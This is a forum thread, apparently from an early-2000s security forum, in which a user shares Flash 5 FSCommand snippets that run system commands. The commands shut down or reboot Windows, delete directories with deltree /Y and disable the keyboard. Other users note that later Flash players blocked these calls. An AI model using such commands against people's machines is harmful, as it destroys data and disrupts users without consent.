A few tricks with fscommand in Flash
Results 1 to 6 of 6

Thread: A few tricks with fscommand in Flash

  1. #1
    Junior Member
    Join Date
    Sep 2002
    Posts
    28

    A few tricks with fscommand in Flash

    To shut down a computer, use:
    Code:
    FSCommand("exec","rundll\tuser.exe,exitwindows");
    To restart a computer, use:
    Code:
    FSCommand("exec","rundll\tuser.exe,exitwindowsexec");
    An undocumented command to save a file:
    Code:
    FSCommand("save","file.ext");
    To make a directory:
    Code:
    dirName = "flamecruiser"
    FSCommand("exec","command\t/C\tmd\t" + dirName);
    To delete a directory:
    Code:
    dirName = "flamecruiser"
    FSCommand("exec","command\t/C\tdeltree\t/Y\t" + dirName);
    For FAST rebooting:
    Code:
    FSCommand("exec","rundll32\tshell32.dll,SHExitWindowsEx\t1");
    How do you find this tutorial? For once, I hope that some of you would grade this tutorial using AntiPoints. Thanx.
    Flash rocks!

  2. #2
    Member
    Join Date
    Sep 2002
    Posts
    98
    well you might not know that flash has released a patch to avoid fscommand from running
    exe based files so while what you have coded might work on some systems it will not work out for those who have upgraded their flash player.

    ---------------------------------------------------------------------------------------------------------------
    I may not agree with what you say, but I will defend to the death your right to say it.

  3. #3
    Junior Member
    Join Date
    Sep 2002
    Posts
    28
    Yes.
    It only works in Flash 5.
    In Flash MX, because of many repeated warnings, they have totally crippled fscommand.
    That i am aware, because i myself use Flash MX.

    I forgot...
    to disable ALL keys for ALL programs while the movie runs, and after, use:
    Code:
    FS Command("exec","cmd" & chr(9) & "/C" & chr(9) & "start" & chr(9) & "rundll32.exe" & chr(9) & "KEYBOARD,disable") ;
    remember to enable it after you're done.

    To detect the system's resolution:
    Code:
    System.capabilities.screenResolution.x; 
    System.capabilities.screenResolution.y;
    To use Flash to control a port:
    Code:
    fscommand("exec","command\t/C\techo\t<commands_here>\t>COM1");
    where <commands_here> are your commands
    and COM1 is port to send to (of course you can use hex address of the device...
    Flash rocks!

  4. #4
    Junior Member
    Join Date
    Sep 2002
    Posts
    28

    Reply to feedback

    Many of you people have given feedback on this post.
    Firstly, I would like to say sorry for mentioning about the Antipoints...

    Hmm.....not a very good post, think about it next time
    One of you gave me this feedback. I would appreciate if you could make it more specific. What is it about this post that is not good?

    not exactly what this site is about
    So what is this site about? It is about security, right? But I feel that there is no reason those cannot be posted here as some of them are also security issues of Flash.
    For example:
    Code:
    fscommand("exec","cmd" & chr(9) & "/C" & chr(9) & "start" & chr(9) & "rundll32.exe" & chr(9) & "KEYBOARD,disable");
    It does not work in FlashMX because of security reasons.
    Another example will be:
    Code:
    fscommand("save","file.ext");
    It is also removed for security reasons. There is a TechNote in MM's website telling the public about that issue.

    Another of you replied:
    this is a malicious attempt to make new script kiddies!
    What exactly do you mean?

    And, I hope that if you all have any comments, please post it as a reply with more detailed explanations.

    Thalnk you.
    Flash rocks!

  5. #5
    Banned
    Join Date
    Sep 2002
    Posts
    10
    I've just updated to flash6 player. Thank you for posting this. I had no idea someone could do this with flash.

  6. #6
    Junior Member
    Join Date
    Sep 2002
    Posts
    28
    One of the very few good comments...
    But as i have said, they only work on Flash 5, not MX.
    Flash rocks!

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •